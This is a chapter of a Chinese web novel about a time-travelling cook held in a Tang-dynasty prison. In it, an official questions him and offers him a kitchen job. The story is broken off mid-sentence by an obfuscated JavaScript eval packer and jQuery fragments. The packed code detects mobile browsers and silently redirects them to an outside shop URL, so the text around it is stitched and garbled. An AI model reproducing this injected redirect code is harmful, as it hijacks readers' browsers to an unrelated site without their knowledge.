8. 来到大唐的第八天
    经过一天的相处,姜菽大概摸清了秦正阳的脾气,虽然是欠揍了点,爱找事了点,本性其实还不错。

    对面这个……不管是高至善的纸条,还是秦正阳的入狱心得,都明示这家伙就是个典型的纨绔子弟,还是贬义版,耳提面命地让姜菽离他远点。

    锦衣青年姓陈,父任户部尚书,长姐是只比小孔雀姑姑高淑妃低一等的陈昭容,虽然他和长兄幼弟都是不顶用的草包,但靠着爹和姐姐,也勉强能在长安城里横着走。

    姜菽不清楚秦正阳跟他从前有什么恩怨,但之所以昨日两人会被抓进来,是因为这厮当街调戏卖珠花的姑娘,被刚解了家中禁足、带着兄弟们出来溜达放风的秦正阳撞个正着。

    两边本就有旧怨,刚开始还是你推我搡,眨眼间就成了乱斗,围观的人吓得不行,叫来巡逻的坊丁,把他们都逮去了京兆府。

    进了京兆府,两边一亮身份,个顶个的家世显赫,京兆府尹不想抓这烫手山芋,找了个由头又把人丢来大理寺,试图让大理寺卿背锅——谁让此獠出外巡去了,人不在就是最大的罪过,好好替同僚们收拾刺头吧!

    “不、不过是些田舍郎吃的粗制劣食,谁稀罕!”陈涛咬牙切齿地瞪了秦正阳一眼,一甩袖子又坐回了自己的蒲团上。

    阴险狡诈的秦二!陈涛越想越觉得秦正阳面目可憎,嗦冷淘就嗦冷淘,做什么那么大声响?还非要张嘴点评,怎么,吃还堵不上他的臭嘴!?

    昨天骂了他半天,这个懦夫屁都不敢回一个,反倒说得他口焦舌燥,可见是故意而为,诚心要捉弄他的!

    还有关他对面的那个青年郎,奇装异服不知是什么来头,倒是真听秦二和高家小子的话,故意装聋扮哑不回他话,转头跟那俩人聊得倒欢!

    至于那边的高至善,陈涛把气头压了下去,他们之间井水不犯河水,万一惹恼了他,他回去找姑姑一哭,高淑妃在宫里给姐姐难堪可怎么行?是以陈涛明知对面三人的餐食都是高家送来,明摆着故意不给他带的,他也没去跟高至善呛过声。

    哼,不就是冷淘,等他出去要什么冷淘没有?

    陈涛心烦意乱地割下一根炙烤羊排,送到嘴边又嫌弃地放了下去,只觉得平日最爱吃的佳肴都索然无味了。

    -

    说完最后一句话,狱卒忐忑不安地低下头,不敢与温朝对视。

    大理寺上下都知道,温少卿虽然瞧着年轻面俊,总是嘴角噙笑的,却是寺中最招惹不得的上官。要是真有那不知分寸,妄图挑战底线的,等那双看似温和的眼睛失了笑意,冷冷重重地压下来时,才能体会到什么叫悔不当初。

    温少卿将他叫来,问了问狱中的近况,又详细问了高小郎君在狱中的所作所为,可有见过什么人,说过什么话。

    等他一一禀告,说高小郎君和那名身份可疑的姜菽走得很近后,温少卿便让他将所知的两人交谈,连带着秦正阳的都详述一遍。

    狱卒提心吊胆地等着温朝开口,脑子里不断回想有关他的风言风语。茶余饭后的闲话大多捕风捉影,但跟温朝相关的有一条是绝对的真事儿:这位温少卿极度厌恶贪官污吏,为官十载从未收过任何不当之财。

    温朝升得快不仅是因为他年少成名,有一身才华,更因为他敢查能查会查,过去十年里圣上给了他不少大案要案,他不仅查得漂亮,拔出去不知多少蠹虫,还数次反剿了来灭口的山匪刺客,成了官员里有名的硬骨头。

    来杀他的人都有那么多,更遑论是盯着他想揪他错处的,可他真就十年都没被苍蝇找出一条缝。

    连狱卒自己都会收点囚犯家人的”好意“,对这种真从头干净到尾的很难不心生敬畏。

    大理寺狱内有特殊区域本是大家心照不宣的默契,有高寺卿打头,温少卿或许还能睁一只眼闭一只眼,但他们昨日送桌椅凉席进去的动静并不小,温朝想处置的话可以说是人证物证俱全。

    原本他们还觉得高小郎君是高寺卿的儿子,他们给人家行个方便,也能落个好,而且温朝看上官的面子,估计不会和他们计较。

    现在却是说不准了。

    “所有相关人等罚俸一月,主犯罚俸三月。”温朝淡淡道。

    狱卒悄悄松了口气,他还以为饭碗要保不住了。

    “带姜菽来见我。”温朝又道。

    狱卒一愣,关姜菽什么事?不该见高小郎君吗?

    “喏。”他不敢问,低头迅速退了出去。

    -

    不仅狱卒,温朝指明要见姜菽的决定到了监牢,高至善和秦正阳也很意外。

    秦正阳是意外温朝居然真的会放着兵部、户部两尚书和上官之子不见,去管姜菽这个连记忆都没有的平头百姓,高至善则是羞愧自己在狱中种种“享乐”的行为被榜样发现,有违君子之道。

    只有姜菽高兴得眼睛都亮了,特地拿水洗了洗脸,整理好衣服,跟在狱卒身后乐呵呵地出了门。

    看架势,不像是去受审的,倒像是去访友郊游的。

    或许是心态变了的缘故,姜菽上次出牢狱受审时只想着自己清白有望,路上净盘算要如何为自己辩白了,眼下嫌疑暂清,不至于莫名其妙被监禁流放,也有闲心观察起周遭的环境来。

    还记得头回被胥吏们抓来时,自己只觉得大理寺里阴森可怖,白天看上去都是黑的,现在一看,还是很亮堂的嘛!

    瞧瞧这榆树,高大挺拔绿意盎然!看看这石雕,线条流畅栩栩如生!还有这到处乱走,或绿衣或青袍的官员们,精神面貌多么……呃,姜菽一顿,社畜脸上真是千百年如一日的如丧考妣啊。

    行经人多处,姜菽不再左顾右盼,老老实实低头走路,免得被哪个批案卷批疯的官员找事。

    温朝办公的地方还算幽静,他们到时里面正有一名寺丞在汇报案情,狱卒便带着姜菽在门外等候。

    起初姜菽还好奇地想偷听两耳朵八卦,发现他们说的都是佶屈聱牙的法条典律后痛苦地转移目光,开始数起旁边桂花树上的小花来。

    许是这座院子更阴凉,他们来时沿路也有不少桂花树,但都没有要开的迹象,最多是结了些米粒儿大的花苞,这边这株却开得满树金灿灿,馥郁的桂香随着微风一阵阵地朝姜菽扑来,馋得姜菽想伸手偷偷揪两朵回牢里。

    黑了吧唧又不通风的监牢,最需要这样金黄的香花了,不然人都活得跟地上的干草似的无滋无味。

    姜菽深吸一口气,让桂花甜美的香气将自己从里腌到外,脑海里不由自主地开始回想跟桂花能做的菜。

    首当其冲的必然是糖桂花,也就是桂花蜜酱。

    摘下来的新鲜桂花洗净摘梗,在阴凉处晒到没有水汽后,一层桂花一层白糖地盛在玻璃罐里。有的做法会在封顶的白糖上淋一点白酒或蜂蜜,姜菽是直接将罐子密封后上锅蒸,最后满满一瓶的白糖化成小半瓶透亮的金色糖浆,打开盖子就能闻到浓郁的鲜桂花香气,吃起来清新甜蜜,舀一勺出来,小小的桂花漂浮在糖浆里,煞是好看。

    这样的糖桂花拿来做桂花酒酿,或是淋在汤圆粥水、凉糕千层糕上妆点提味都再好不过。

    姜菽记得自己有回高烧不退,连着几天都昏昏沉沉吃不下东西,好不容易清醒了片刻,脑子里唯一想吃的就是用粗粒玉米糁和糖桂花煮出来的桂花粟米羹。姜稻边哭边给他煮了一锅,煮糊了,他也喝了个干净,然后第二天烧就退了。

    也有拿水煮糖,糖浆煮沸后再加柠檬汁和桂花的,煮出来色如琥珀,质地浓稠。虽然花香比蒸出来的差些,保存的时间却更长,能吃好几个月。

    也因为颜色重如丹桂,这种煮出来的糖桂花更适合挂在杯壁上,配上煮好的果馅小汤圆跟冰过的牛奶,做成桂花鲜牛乳,秋天一边涮滚烫香辣的火锅一边喝,岂是一个爽字了得?

    有时愿意折腾,调水后做成桂花冻冻,不管是吃冰红豆元宵,还是吃冰鲜芋炖奶的时候都舀进去两块作配料,软软弹弹,若隐若现的小桂花也好看。

    再如桂花蜜,将晒干的桂花泡在蜂蜜之中,蜂蜜香中多了些许桂花的香气和意头,拿来泡水当茶饮相当不错。

    还有桂花绿豆糕、桂花糯米藕、桂花茶等等,桂花的吃法搭配可谓多如繁星。

    不过屋里的温少卿把他拎出来,显然不是为了让他在桂花树下发呆思饭的,来报告的寺丞走了之后,姜菽就被狱卒拽了一把,只好遗憾地和这棵比他还高的桂花树作别。

    -

    姜菽跨进门,一眼就看见站在书架前的温朝,深檀木色的书架占了半堵墙,上面放满了典籍案卷,绯衣的温朝被周遭的景物一衬,越发显得面如冠玉,气韵清贵,如从一旁画中走出来似的。

    温朝转身,恰好就见到姜菽望着自己愣神的模样,刚还头痛本朝从未有如姜菽这般的先例,难以按条律处理,却在这短暂的视线

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682445|144258||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    相撞后有了新的想法。

    即便已经从狱卒处得知了姜菽学会大唐官话的消息,温朝还是将一套空白的纸笔递给了他。

    温朝道:“我派人去取了姜书从前的字画,也询问过他的其余亲友,可以确认你并非逃犯姜书。”

    “但长安及附近州县并没有你的户籍,长安各城门也没有你的出入记录。”

    “既然你能想起那么多食方,是否想起了自己的身世?”

    实话说,他就没忘过自己的身世。姜菽心道。

    可他更不能说出实情,不然说他疯了得了癔症都是轻的,万一有谁传出去说他是野鬼上身就麻烦了。

    在听到狱卒说姜菽给高至善写食方时,温朝就料到他会继续在他面前装鹌鹑。

    连那般详细的食方都能信手拈来,却在他们面前说自己得了失忆症,连父母名姓家住何方都不记得了,怕不是当大理寺上下都是三岁稚童。

    “前日你说自己因失忆症忘了大唐官话,却记得读书写字,虽然错字连篇不成文章,也能看出有些家学,并非目不识丁之辈。”

    “今日你便已能听会道……我想,哪怕高小郎君的恩师过来,也不敢保证自己能在两日内就让一个从未接触过官话的人熟练掌握。”

    温朝一步一步走到姜菽面前,目光紧盯着姜菽不放,刚刚还觉得人芝兰玉树的姜菽怂了下来,顶着压迫感向后退了两步,低头冥思苦想新的借口。

    他的反应几乎将有鬼两个字写在了头顶上,温朝停在他身前,低头正好能看见姜菽颤动乱转的双眼。

    这是又在编谎话了。

    温朝退后,微笑道:“显然你并非是从头学起。”

    “那你从何而来,又为何在此呢,姜小郎君?”

    他倒要听听他还能扯出什么谎来。

    该看穿的都被看穿了,姜菽心一横准备卖惨,扬起头,目光坚定地就冲温朝道:“大人!我……”

    “咳咳咳!”一旁的狱卒嗓子都快咳碎了。

    温朝面色沉下去,严肃道:“休要胡乱攀亲!大人乃称呼父亲的,岂容你这般见人乱喊?”

    上次也是这般,不知是故意如此还是确实不懂,不管因为哪个都叫人头痛。

    明白过来温朝的意思后,姜菽脸上迅速蹿红,他只是随电视剧里的叫法开个头,哪想到会有这样的误会!

    “对不住。”姜菽着急忙慌地道了歉,道完发现自己刚刚打好的腹稿情急之下全忘了,脑子一片空白。

    “罢了。”温朝轻叹一声,本也只是随口一问,姜菽是否是真的失忆症都和对他的安排影响不大。

    温朝道:“你既不是姜书,也没有触犯律法,便不必再留在大理寺牢狱中。”

    “但你一无籍贯文书,又言自己得了失忆症无处可去,终究是大理寺办事不力才导致你受惊一场,我如今便可给你三个选择。”

    “其一,京兆府管理长安城内外民生杂事,你可去那里想办法联系家人,再寻一营生。”

    “其二,长安城内外都有善堂,你可去寻一处住下,看看能否寻到医师治愈你的失忆之症。”

    “其三,既然你能拿出许多食方,或许本业与庖厨之事相关。大理寺公厨如今人手短缺,你若是愿意,也可去做个杂役。”

    若他所料不错,祖母所言的那碗格外开胃的凉面便是出自姜菽的食方,温朝虽鲜少在公厨用餐,但稍为同僚们改善下伙食也无不可。只是眼下姜菽身份成谜,还不能让人直接掌勺,先从杂役做起,仔细观察秉性再做定夺。

    如温朝所想,姜菽选择了第三条路。

    “多谢温少卿!”姜菽都做好被丢出去风餐露宿白手起家的准备了,没想到这位人帅心善的温少卿竟然愿意帮他在大理寺安排个工作!

    虽然只是个杂役,但也是份正式工作呀!而且干的无非就是配菜小工厨师学徒的活儿嘛,辛苦是辛苦了点,他又不是不会!

    温朝看他两眼生光的模样,怕他去了后心有落差,又提点道:“杂役辛苦,我们可约定以一月为限。若一个月后你还想留在大理寺,可视你这月的表现,在公厨寻找合适的差事。若你不想留在大理寺,也可领了这一个月的月钱自行离去。”

    也就是说,哪怕他一个月后不干了,也能有一笔小小的启动资金出去闯荡?姜菽看温朝的目光越发喜悦,哪有秦正阳说得那么坏,温少卿明明是个大好人啊!